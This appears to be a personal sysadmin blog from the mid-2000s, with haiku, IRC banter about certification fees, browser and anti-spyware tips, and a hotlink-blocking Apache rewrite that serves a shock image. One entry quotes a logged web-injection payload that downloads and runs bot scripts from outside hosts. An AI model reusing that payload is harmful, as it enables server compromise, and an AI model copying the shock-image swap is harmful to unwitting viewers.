she called me at work,
you have a crazy neighbor
who bought a new mac.

it is my own fault...
fixing someone's internet
always a bad idea.

though to help a friend
i will always come fix shit
if pie is involved.

like you she complains,
slow internet really blows goats.
(don't live in the sticks)

real bad idea: crazy lady
wants to change network settings
to fit her simple mind.

over the cell phone
skip can be an ass sometimes
when asked to tech support.

you gave her my number.
i will kick you in the nuts.
now i'm back to work.

< redrocket> this is why isc2 isn't getting any of my cash, check this spam:
< redrocket> Earn 32 Continuing Professional Education (CPEs) credits anytime, anywhere for only $556.50 (65% off standard prices)!
<@bob> OMG WHAT A DEAL
< redrocket> it's a scam for money and they're workin it...
<@bob> dude im way cooler NOT having gotten cissp
<@bob> its like
< redrocket> hey i know let's start an organization and test people into it
<@bob> im 2 l33t for that
<@bob> 31337 cert
<@bob> we test them on like
< redrocket> i'm way cooler for not having paid for it too
<@bob> their ircwarrior skills
< redrocket> yah
<@bob> special guest instructor aempirei
< redrocket> and charge them $$$/year, and sell "points" so they can retain their certification
< redrocket> that's the way to be...
<@bob> its such a scam

lol. from andrewteman, execs are asking us to enjoy their products now more than ever. i guess i need to uninstall adblock... i'm missing out on some damn funny ads.

Had an office party at Circus Juventas.
Was cool... loved their orange wall.

a few urls that helped me get honeyd/dsniff etc installed on my mac:
- http://www.linville.org/dsniff.html
- http://www.os3.nl/~nan03/honeyd.howto

hah check this out... apache error_log is always amusing

[Thu Jan 6 08:00:03 2005] [error] [client 217.160.142.237] File does not exist: /var/www/fif3/htdocs/howto/archives/cat_code.html&rush=echo _START_; killall -9 perl;cd /tmp;mkdir .temp22;cd .temp22;wget http://www.abcft.org/themes/bot.htm;wget http://http://weblicious.com/.notes/ssh2.htm;perl ssh2.htm;rm ssh.htm;perl bot.htm;rm bot.htm; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27';

So I've noticed somehow my pic of batboy has become popular... aparently i'm the first hit on a google image search. Funny thing is the site isn't mine, but another site cross-linking my batboy pic. Well, I'm gonna have to put an end to that... (also of note are pics of pig nuts and david hasselhoff with his shirt off)

DISCLAIMER: unless you know what goatse is DO NOT visit these links. it's nasty.
[14:01] < skp> ha check these sites (goatse avatars instead of intended batboy)
[14:01] < skp> http://tinyurl.com/4cntt
[14:01] < skp> http://tinyurl.com/5blyr
[14:01] < skp> http://tinyurl.com/6cccn
[14:01] < skp> http://tinyurl.com/6mdcc
[14:02] < skp> pwned bitches.

What I've done: added something like this to httpd.conf under each virtualhost
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http[s]?://(www\.)?fif3\.com/.*$ [NC]
RewriteRule \.(gif|jpg|jpeg|bmp)$ goatse.jpg [L]

Why I've done it:
Linking directly to an image hosted on someone else's webserver is bad. It causes excessive traffic and logs and is generally rude. So now, instead of that cute little forum avatar of batboy, now you have goatse. enjoy.

In the spirit of the (now dead) makelovenotspam project, i wrote a little perl code to visit and gently spider the urls in any spam tagged email i receive, in an effort to drive up the cost of business for spammers and those who fund them. here's the file: spamurl.pl, use it at your own risk, though i've been running it for a day and haven't seen any issues. also, my perl is a bit rusty... coments appreciated.

my new love: firefox with adblock. also don't forget to import a few cool filter lists into adblock, since it starts out with an empty ruleset. another good extension for firefox: tinyurl bar.

spent thanksgiving with family in so-cal: ate food, went to a mall and fixed a few computers. first off, how long is it going to take the anti-virus companies (symantec) to take the hint... the next killer app for them is spyware. seriously, if anyone was awake they'd have already bought spybot ssd (search and destroy) since it totally kicks ass. the first thing i do when i get my hands on ANY windows box is 1) install spybot ssd and 2) install spywareblaster. also don't forget to enable expert mode in ssd and add their hosts file whatnots